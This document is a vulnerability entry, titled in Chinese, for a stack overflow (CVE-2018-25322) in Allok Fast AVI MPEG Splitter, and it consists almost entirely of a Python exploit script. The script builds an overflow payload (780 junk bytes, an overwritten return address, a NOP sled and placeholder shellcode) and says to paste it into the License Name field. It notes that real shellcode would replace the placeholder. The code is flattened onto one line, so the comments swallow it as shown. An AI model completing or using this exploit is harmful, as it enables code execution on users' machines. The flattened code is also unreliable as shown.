CVE-2018-25322 Allok Fast AVI MPEG Splitter栈溢出漏洞

#!/usr/bin/env python3 # PoC for CVE-2018-25322 # Generates a malicious payload to trigger the buffer overflow import struct # Payload structure based on description: # 780 bytes of junk data + structured shellcode # We typically need a return address overwrite between junk and shellcode. # Assuming 780 bytes is the offset to EIP. offset = 780 # Placeholder for a return address (e.g., JMP ESP instruction address) # This address needs to be specific to the target application version and OS modules. ret_addr = struct.pack('<L', 0xAAAAAAAA) # Simple shellcode (NOP sled + INT3 for demonstration) # In a real scenario, this would be msfvenom generated shellcode nop_sled = b"\x90" * 32 shellcode = b"\xCC" # Interrupt 3 to crash/trigger debugger payload = b"A" * offset + ret_addr + nop_sled + shellcode try: with open("exploit.txt", "wb") as f: f.write(payload) print(f"[+] Payload generated successfully. Size: {len(payload)} bytes") print("[+] Copy the content of 'exploit.txt' into the License Name field.") except Exception as e: print(f"[-] Error: {e}")